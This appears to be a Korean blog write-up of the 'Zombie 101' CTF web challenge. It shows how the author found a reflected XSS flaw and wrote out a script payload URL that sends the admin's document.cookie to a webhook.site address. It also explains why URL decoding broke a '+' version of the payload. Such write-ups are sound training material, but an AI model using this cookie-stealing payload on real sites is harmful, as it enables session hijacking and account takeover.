Description
Can you survive the Zombie gauntlet!?
First in a sequence of four related challenges. Solving one will unlock the next one in the sequence.
They all use the same source code but each one has a different configuration file.
This first one is a garden variety "steal the admin's cookie".
Good luck!
Please don't use any automated tools like dirbuster/sqlmap/etc.. on ANY challenges. They won't help anyway.
https://zombie-101-tlejfksioa-ul.a.run.app/
초기화면이다.
상단 입력창에 'ㅁ'을 입력한 모습이다. 입력한 그대로 출력해주는 것을 볼 수 있다. 스크립트 문장을 넣어보자.
스크립트가 그대로 먹는다. 취약점 발견이다.
다시 홈 화면으로 돌아와서 아래 입력창에 url을 입력해보자.
아까 zombie 주소를 넣은 모습이다. 정상적으로 방문했다는 말이 나온다. 기본적인 xss문제로 보인다.
webhook.site를 이용해서 document.cookie를 받으면 해결될 것으로 보인다.
https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=<script>location.href='https://webhook.site/03ceb132-c07f-47a9-893f-e0cd7cf1c459?flag='.concat(document.cookie)</script>
아래 입력창에 넣을 침투 코드다. '+'로 문장을 이어서 했더니 flag가 안나오는데 '.concat'을 사용하니 flag가 나온다. 차이점은 모르겠다...알게되면 수정하겠다.
짜잔
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
스크립트 부분은 두 단계를 거쳐 파라미터로 해석된다. 이 때문에 URL Decoding되어 '+'는 공백으로 해석된다.
'+' 기호는 공백 문자를 인코딩하기 위해 사용되며, URL에서 공백 문자는 '+'로 대체된다. 예를 들어, "hello world"라는 문장을 인코딩하면 "hello+world"가 됩니다.
반면에 '%2b'는 '+'기호 자체를 인코딩하기 위해 사용된다.
같은 맥락으로 .concat은 되면서 '+'는 안되는 것이라고 생각한다.
'분류 전 > CTF' 카테고리의 다른 글
[ASIS] hello 풀이 (2) | 2023.10.02 |
---|---|
[WACON2023] mosaic (0) | 2023.09.05 |
[WACON2023] mic check 풀이 (0) | 2023.09.05 |
[b01lers CTF] warmup 풀이 (2) | 2023.03.21 |
[WolvCTF 2023] Charlotte's Web 풀이 (0) | 2023.03.20 |